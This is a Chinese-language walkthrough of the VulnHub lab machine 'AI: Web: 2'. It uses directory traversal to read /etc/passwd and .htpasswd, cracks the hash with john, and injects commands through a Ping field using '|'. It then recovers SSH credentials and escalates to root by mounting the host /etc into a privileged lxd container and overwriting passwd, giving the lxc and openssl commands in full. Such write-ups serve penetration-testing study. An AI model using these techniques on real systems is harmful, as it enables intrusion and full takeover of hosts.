渗透复现
(1)平台框架存在目录穿越漏洞,利用该漏洞读取敏感信息
(2)Ping功能点绕过,进行命令执行操作,反弹shell无果后,利用目录穿越漏洞遍历敏感API,读取到用户SSH登录凭证
(3)SSH登录进行Linux lxd容器提权
知识扩展
目录穿越读取敏感文件,BP遍历敏感API
Ping功能通过"|"绕过进行命令执行
Linux lxc/lxd容器提权
靶机地址
AI: Web: 2 ~ VulnHub
主机发现
(1)攻击机
192.168.88.128
(2)目标主机
192.168.88.140
信息收集
端口扫描
端口访问
目录扫描
目录爆破
目录访问
(1)/index.php/login/
(2)/signup.php
(3)/viewing.php
(4)/webadmin
实施攻击
(1)注册账号admin进入后台
(2)后台页面进行扫描和爆破
(3)进行fuzz爆破的时候一直爆文件(可能是因为存在目录穿越漏洞)根据后台CMS历史漏洞搜寻,存在目录穿越
(4)BP抓包构造接口进行访问/etc/passwd,只能拿到用户名
(5)BP遍历敏感文件,在/etc/apache2/.htpasswd文件(apache用户认证文件)中读取到aiweb2admin的账号密码
(6)进行john解密后,登录webadmin后台
(7)根据robots文件的提示进行访问
http://192.168.88.140/webadmin/H05Tpin9555/
http://192.168.88.140/webadmin/S0mextras/
(8)Ping功能可以通过'|'绕过进行命令执行
(9)反弹shell无果,根据/webadmin/S0mextras/页面的提示,进行隐藏文件的查看
ls -al /var/www/html/webadmin/S0mextras/
find . -type -f /var/www/html/webadmin/S0mextras/
(10)隐藏文件/.sshUserCred55512.txt读取到用户的SSH登陆凭证
User: n0nr00tuser
Cred: zxowieoi4sdsadpEClDws1sf
提权
(1)信息收集
(2)linux容器提权,lxc提权
#创建启动容器,将宿主机的/etc目录挂载至容器
#/tmp目录下新建passwd文件,并且设置root的密码
#上传/tmp目录下新建的passwd文件至容器,成功覆盖宿主机/etc目录下的passwd文件
#可以理解为LXC容器存在漏洞,低权限用户在容器中的操作会同步影响宿主机中的文件,达到低权限操作高权限文件目的
#启动lxc容器 UbuntuMini
#将/etc目录挂载至容器
lxc start UbuntuMini
lxc config set UbuntuMini security.privileged true
lxc config set UbuntuMini security.nesting true
lxc config device add UbuntuMini sharetesting disk source=/etc path=/sharingiscaring
#openssl生成root密码 111
openssl passwd -1 -salt root 111
$1$root$vYBCshwm6aJ/2WxkqNyVY/
#将/etc/passwd的内容复制至/tmp目录下新建的passwd中,并且修改root密码
#完成passwd文件操作后,将passwd文件上传至容器
lxc file push passwd UbuntuMini/sharingiscaring/passwd
(3)如果报错
(4)停止该容器,并再次运行容器和执行命令
lxc stop UbuntuMini
lxc start UbuntuMini
lxc file push passwd UbuntuMini/sharingiscaring/passwd
(5)提权成功